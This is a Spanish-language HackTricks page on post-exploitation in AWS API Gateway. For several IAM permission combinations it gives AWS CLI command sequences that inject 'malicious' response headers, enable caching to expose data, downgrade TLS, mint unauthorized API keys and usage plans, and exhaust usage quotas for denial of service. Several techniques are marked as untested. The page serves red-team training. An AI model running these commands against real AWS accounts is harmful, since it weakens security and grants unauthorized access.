AWS - API Gateway Post Exploitation

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

API Gateway

Para más información consulta:

pageAWS - API Gateway Enum

Acceder a APIs no expuestas

Puedes crear un punto de conexión en https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint con el servicio com.amazonaws.us-east-1.execute-api, exponer el punto de conexión en una red a la que tengas acceso (potencialmente a través de una máquina EC2) y asignar un grupo de seguridad que permita todas las conexiones. Luego, desde la máquina EC2 podrás acceder al punto de conexión y, por lo tanto, llamar a la API de la puerta de enlace que no estaba expuesta anteriormente.

DoS en Planes de Uso

En la sección de Enumeración puedes ver cómo obtener el plan de uso de las claves. Si tienes la clave y está limitada a X usos por mes, podrías simplemente usarla y causar un DoS.

La Clave de API solo necesita ser incluida dentro de un encabezado HTTP llamado x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Un atacante con los permisos apigateway:UpdateGatewayResponse y apigateway:CreateDeployment puede modificar una Respuesta de Puerta de Enlace existente para incluir encabezados personalizados o plantillas de respuesta que filtren información sensible o ejecuten scripts maliciosos.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto potencial: Fuga de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de la API.

Necesita ser probado

apigateway:UpdateStage, apigateway:CreateDeployment

Un atacante con los permisos apigateway:UpdateStage y apigateway:CreateDeployment puede modificar un escenario existente de API Gateway para redirigir el tráfico a un escenario diferente o cambiar la configuración de almacenamiento en caché para obtener acceso no autorizado a datos en caché.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto potencial: Acceso no autorizado a datos en caché, interrupción o intercepción del tráfico de la API.

Necesita ser probado

apigateway:PutMethodResponse, apigateway:CreateDeployment

Un atacante con los permisos apigateway:PutMethodResponse y apigateway:CreateDeployment puede modificar la respuesta del método de una API Gateway REST existente para incluir encabezados personalizados o plantillas de respuesta que filtren información sensible o ejecuten scripts maliciosos.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Fuga de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de la API.

Necesita ser probado

apigateway:UpdateRestApi, apigateway:CreateDeployment

Un atacante con los permisos apigateway:UpdateRestApi y apigateway:CreateDeployment puede modificar la configuración de la API REST de API Gateway para deshabilitar el registro o cambiar la versión mínima de TLS, debilitando potencialmente la seguridad de la API.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Debilitar la seguridad de la API, potencialmente permitiendo acceso no autorizado o exponiendo información sensible.

Necesita ser probado

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Un atacante con permisos apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan y apigateway:CreateUsagePlanKey puede crear nuevas claves de API, asociarlas con planes de uso y luego utilizar estas claves para acceder no autorizado a las APIs.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Impacto potencial: Acceso no autorizado a recursos de la API, eludiendo los controles de seguridad.

Necesita ser probado

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización